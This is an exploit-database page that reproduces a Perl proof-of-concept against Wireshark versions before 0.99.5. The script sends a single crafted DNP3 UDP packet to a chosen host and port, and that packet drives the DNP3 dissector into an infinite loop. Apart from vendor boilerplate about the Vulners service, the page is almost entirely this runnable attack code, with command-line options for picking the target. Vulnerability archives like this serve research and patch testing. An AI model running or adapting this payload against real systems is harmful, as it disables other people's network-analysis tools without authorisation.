Lucene search
K

Wireshark < 0.99.5 DNP3 Dissector Infinite Loop Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Wireshark DNP3 Dissector Infinite Loop Exploi

Code

                                                #!/usr/bin/perl
# Automatically generated by beSTORM(tm)
# Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)

# Attack vector:
# M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0

# Module:
# DNP3

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT} = \&abort;

my $host = &#39;192.168.4.52&#39;;
my $port = 20000;
my $proto = &#39;udp&#39;;
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = &#39;hH:P:t:&#39;;
getopts( &#34;$opt_string&#34;, \%opt );

if (defined $opt{h}) {
    usage()
}

$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command =&#62; &#39;Send&#39;,
 Data =&#62; &#34;\x05\x64\x15\xC2\x01\x00\x00\x00\x00\x00\xC3\xC0\x01\x01\x00&#34;. &#34;\x01\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08&#34;},
{Command =&#62; &#39;Receive&#39;},

);

###
# End user configurable part
###

#1. Create a new connection
my $sock = new IO::Socket::INET (
                PeerAddr =&#62; $host,
    PeerPort =&#62; $port,
    Proto =&#62; $proto,
                Type =&#62; $sockType,
                Timeout =&#62; $timeout,
            )
    or die &#34;socket error: $!\n\n&#34;;

print &#34;connected to: $host:$port\n&#34;;

$sock-&#62;autoflush(1);
binmode $sock;

#2. communication part

foreach my $command (@commands)
{
    if ($command-&#62;{&#39;Command&#39;} eq &#39;Receive&#39;)
    {
        my $buf = receive($sock, $timeout);
        if (length $buf)
        {
            print &#34;received: [$buf]\n&#34;;
        }
    }
    elsif ($command-&#62;{&#39;Command&#39;} eq &#39;Send&#39;)
    {
        print &#34;sending: [&#34;.$command-&#62;{&#39;Data&#39;}.&#34;]\n&#34;;
        send ($sock, $command-&#62;{&#39;Data&#39;}, 0) or die &#34;send failed, reason: $!\n&#34;;
    }
}

#3. Close connection
close ($sock);

#The end

sub receive
{
 my $sock = shift;
 my $timeout = shift;

 my $tmpbuf;
 my $buf = &#34;&#34;;

 while(1)
 { # Example from perldoc -f alarm
  eval {
    local $SIG{ALRM} = sub { die &#34;timeout\n&#34; };
    alarm $timeout;

    my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
    if ( !defined $ret or $ret == 0 )
    { #EOF
        die &#34;timeout\n&#34;;
    }

    alarm 0;
    $buf .= $tmpbuf;
  };
  if ($@) { #time out
    if($@ eq &#34;timeout\n&#34;)
    {
        last;
    }
    else {
        die &#34;receive aborted\n&#34;;
    }
  }
 } #while
 return $buf;
}

sub abort
{
    print &#34;aborting...\n&#34;;
    if ($sock)
    {
        close $sock;
    }
    die &#34;User aborted operation\n&#34;;
}
sub usage
{
 print &#34;usage: $0 [-hHPt]\n&#34;;
 print &#34;-h\t: this help message\n&#34;;
 print &#34;-H\t: override default host - $host\n&#34;;
 print &#34;-P\t: override default port - $port\n&#34;;
 print &#34;-t\t: set socket timeout in seconds\n&#34;;
 exit 0;
}

# milw0rm.com [2007-08-31]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17